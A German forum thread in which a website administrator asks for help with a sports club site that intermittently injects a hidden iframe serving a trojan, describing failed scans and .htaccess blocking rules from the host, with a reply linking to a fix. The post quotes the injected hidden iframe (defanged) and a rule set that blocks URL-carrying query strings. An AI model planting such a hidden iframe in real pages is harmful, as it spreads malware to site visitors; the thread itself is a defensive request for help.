Hallo zusammen,

mein Problem hat weniger in einem infizierten PC zu tun, sondern mit einer Website, die einen Trojaner verbreitet.

Sachverhalt ist folgender:
Auf der Website hxxp://xxx.tus-obermuenstertal.de wird seit ca. 1 Woche im Seitenquelltext ein

<iframe src="hxxp://****/download/index.php?next=4&acc=170&action=cleaner&offset=1&xml=hidden" style="display:none"></iframe>
         

eingebunden. (Siehe kompletter Quelltext Anhang 2010-10-04 17-02 Quelltext.txt)
Diese Links wechseln auch, es sind nicht immer die gleichen. Dieser ladet dann einen Trojaner auf den Dektop. Siehe Anhang „2010-09-28 Virus log.txt“ Das Problem, bzw. die Schwierigkeit den fehlerhaften Code zu finden, ist das der Fehler nicht reproduzierbar ist. Der iframe wird nur sehr selten (ca. 1x am Tag) eingebunden.

Soweit zu den Folgen, weiter mit den Lösungsansätzen:
Im ersten Schritt wurde von uns die Datenbank und der Server nach Auffälligkeiten gescannt. Auch die ftp Logs ergaben keine Auffälligkeiten. Die Templates, html, php und css Dateien sind auch in Ordnung.

Als nächstens ein Anruf beim Serverbetreiber, der sich freundlicherweise dem Problem annahm und nochmals die Datenbank und ftp Inhalte nach „iframe“ bzw. „iframe =scr“ gescannt hat. Wieder keine Lösung gefunden. Hierbei wurde vom Support die .htaccess Datei mit folgenden Einträgen ergänzt:

RewriteCond %{QUERY_STRING}   (.*)=http(.*)   [NC,OR]
RewriteCond %{QUERY_STRING}   (.*)=ftp(.*)   [NC,OR]
RewriteCond %{QUERY_STRING}   (.*)urlx=(.*)   [NC]
RewriteRule ^(.*)  - [F]
         

diese dienen aber nur der Unterdrückung, das Problem selbst wird dadurch aber nicht gelöst.

Dann wurde von uns der komplette Seiteninhalt lokal mit mehreren Virenscannern duchleuchtet und auch nichts gefunden.

Da ich momentan bin ich wirklich ratlos wie der Schadcode auf die Seite kommen kann, würde ich mich über Ratschläge, Tipps, oder mögliche Lösungswege sehr freuen.

Hallo,

die Lösung des Problems ist in folgendem Beitrag zu lesen:

hxxp://modxcms.com/forums/index.php/topic,52543.0.html

Grüße, Tribun